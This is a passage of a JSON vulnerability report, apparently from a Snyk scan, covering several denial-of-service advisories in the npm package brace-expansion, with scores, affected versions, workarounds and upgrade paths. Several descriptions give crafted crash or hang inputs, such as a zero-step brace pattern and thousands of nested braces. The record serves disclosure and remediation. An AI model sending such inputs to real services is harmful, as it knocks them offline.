"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmteam@8.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
